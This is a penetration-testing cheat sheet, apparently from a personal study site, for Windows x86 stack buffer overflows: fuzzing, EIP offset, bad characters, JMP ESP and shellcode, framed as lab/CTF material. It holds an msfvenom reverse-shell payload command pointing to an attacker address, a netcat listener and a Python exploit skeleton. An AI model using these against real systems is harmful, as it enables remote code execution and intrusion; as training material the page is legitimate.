PWN^:Exploitation

Stack-Based Buffer Overflow (Win x86)

Classic Windows x86 stack overflow: fuzzing, EIP control, bad chars, JMP ESP, shellcode.

advancedupdated 2026-08-09Immunity Debugger · mona.py · msfvenom

Stack-Based Buffer Overflow (Win x86)

Classic 32-bit Windows stack overflow workflow. Based on the HTB Academy module cheat sheet, with tooling for both Immunity Debugger + mona.py and x64dbg + ERC.

For authorized lab/CTF use only. Target software you own or are explicitly permitted to test.


The Five Steps

  1. Fuzzing — send growing input until the service crashes
  2. Controlling EIP — find the exact offset that overwrites the return address
  3. Identifying bad characters — bytes the app mangles, must be excluded from shellcode
  4. Finding a return instruction — a JMP ESP (or equivalent) in a non-protected module
  5. Jumping to shellcode — overwrite EIP with that address, land in your payload

General

# RDP to the Windows debugging VM
xfreerdp /v:<target IP> /u:htb-student /p:<password>

# Create a cyclic pattern (Metasploit)
/usr/bin/msf-pattern_create -l 5000

# Find the offset of the value that landed in EIP
/usr/bin/msf-pattern_offset -q 31684630
:: List listening ports on the Windows target
netstat -a | findstr LISTEN

:: Interact with the vulnerable port
.\nc.exe 127.0.0.1 8888

Generating Shellcode (msfvenom)

# Local privesc / command execution payload
msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00'

# Reverse shell payload (exclude null + newline bad chars)
msfvenom -p 'windows/shell_reverse_tcp' \
  LHOST=10.10.15.10 LPORT=1234 -f 'python' -b '\x00\x0a'
# Catch the reverse shell
nc -lvnp 1234

Note — Always pass every confirmed bad character to -b. A single unescaped bad byte truncates or corrupts the payload and the exploit fails silently.


Debugger Shortcuts (Immunity)

ActionKey
Open fileF3
Attach to a processalt+A
Go to Logs tabalt+L
Go to Symbols tabalt+E
Search for instruction (current module)ctrl+f
Search for patternctrl+b
Search all loaded modules for instructionSearch For > All Modules > Command
Search all loaded modules for patternSearch For > All Modules > Pattern

ERC (x64dbg plugin)

# Set working directory for output files
ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\

# Create a cyclic pattern
ERC --pattern c 5000

# Find pattern offset from the value in EIP
ERC --pattern o 1hF0

# Generate a full byte array (all 256 bytes)
ERC --bytearray

# Byte array excluding known bad bytes
ERC --bytearray -bytes 0x00

# Compare in-memory bytes against a byte-array file (bad-char hunting)
ERC --compare 0014F974 C:\Users\htb-student\Desktop\ByteArray_1.bin

# List loaded modules and their memory protections (find a JMP ESP module)
ERC --ModuleInfo

Note — Pick a return address from a module with no ASLR, no DEP, no SafeSEH and whose address contains none of your bad characters. ERC --ModuleInfo (or mona’s !mona modules) shows the protections.


Python Exploit Skeleton

#!/usr/bin/env python3
import socket

target = "127.0.0.1"
port   = 8888

offset = 0            # from step 2 (pattern_offset)
eip    = b"\x00\x00\x00\x00"   # JMP ESP address, little-endian
nops   = b"\x90" * 16          # NOP sled
shellcode = b""      # from msfvenom (bad chars excluded)

buf = b"A" * offset + eip + nops + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(buf + b"\r\n")
s.close()
# Quick fuzzing payloads
python -c "print('A'*10000)"
python -c "print('A'*10000, file=open('fuzz.wav', 'w'))"

Debugging the exploit script itself:

breakpoint()   # drop into pdb at this line
# 'c' to continue from the breakpoint

Workflow Summary

StepGoalTooling
FuzzCrash the servicegrowing A*N payloads
OffsetControl EIPmsf-pattern_create / ERC --pattern c, then _offset / --pattern o
Bad charsClean shellcodebyte-array compare in the debugger
Return addrReliable jumpJMP ESP in an unprotected module
ShellcodeGet code execmsfvenom -b '<bad chars>'
On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.